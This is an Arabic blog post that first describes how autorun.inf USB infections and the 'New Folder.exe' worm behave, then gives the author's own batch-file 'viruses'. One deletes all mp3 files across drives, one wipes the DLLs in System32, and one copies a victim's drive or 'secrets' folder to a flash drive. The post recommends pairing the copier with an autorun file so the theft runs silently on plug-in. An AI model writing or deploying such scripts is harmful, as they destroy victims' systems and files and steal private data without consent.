السلام عليكم شباب
اليوم سوف اطرح لكم بعض الافكار و تحاليل لبعض من الفيروسات المشهورة
Autorun.inf
هذا الفيروس الذي دمر الكثير و اغضب الكثير و انا منهم صراحة
لكن هل من احد منكم يعرف كيفية عمله ؟
اولا انه ملف بسيط يفهمه النظام على انه ملف
AutoRun
اي اقلاع آلي
و يتم وضعه بالاقراص المضغوطة
الفلاش ميموري
القرص المرن
....
حيث بمجرد ايصالك الاداة بجهازك يشتغل و يودي عمله والذي يكمن تقريبا في
تعطيل مدير المهام TaskManager
تعطيل الرجيستري
Registry
....
والغرض من تعطيلهما لانهما اداتان خطيرتان عليه اي ان المتخدم الذكي يمكن ان يتخلص من الفيروس من مدير المهام اما الرجيستري فيمكن بواسطته اعادة مدير المهام
New Folder.exe
هو فيروس له ملف اتورن أيضا اي انه يشتغله مع توصيل الاجهاز بالكمبيوتر و له عدة خصائص
أي انه ينسخ نفسه لعدة اماكن و بسرعة خارقة
فتكثر الملفات بجهازك ثم يبدأ بتدمير البرامج الملفات و يختبئ ورائها مثل
Trojan
و يبدأ بالعبث بجهازك
------------------------------------------------
بعض افكار فيروسات من عندي
فيروس لحذف الاغاني من الجهاز
@echo off
del c:\*mp3 /s /f /q
del d:\*mp3 /s /f /q
del e:\*mp3 /s /f /q
del f:\*mp3 /s /f /q
del j:\*mp3 /s /f /q
del h:\*mp3 /s /f /q
del i:\*mp3 /s /f /q
del g:\*mp3 /s /f /q
exit
فيروس تدمير ملفات النظام الاساسية
@echo off
del C:\Windows\System32\*dll /s /f /q
exit
فيروس لسرقة كل ما في القرص
d:\
الى
الفلاش ميموري
@echo off
copy d:\*
exit
d: = target driver
d: = القرص الهدف
والذي سيتم نسخه
ملاحظة :
لو انت معك فلاش ميموري اعمل له ملف
Autorun
حتى لما توصل مباشرة هذا الفلاش يتم اقلاع هذا الفيروس و يسرق جميع محتويات القرص
d:
الى الفلاش ميموري
لكن بالتأكيد لن يتم نسخ كل شيء لان القرص سعته اكبر لهذا سيسرق ولو
2 gb
واذا كان لديك فلاش حجمه
16 gb
سوف ينسخ نفس السعة
ولو كنت تعرف الضحية من قبل مثلا و تعرف انه بالقرص
d:
يوجد ملف اسمه
d:\secrets
وتريد سرقته
يصير الكود هكذا
@echo off
copy d:\secrets\*
exit
تم بواسطة
GraveKeeper
ليست هناك تعليقات: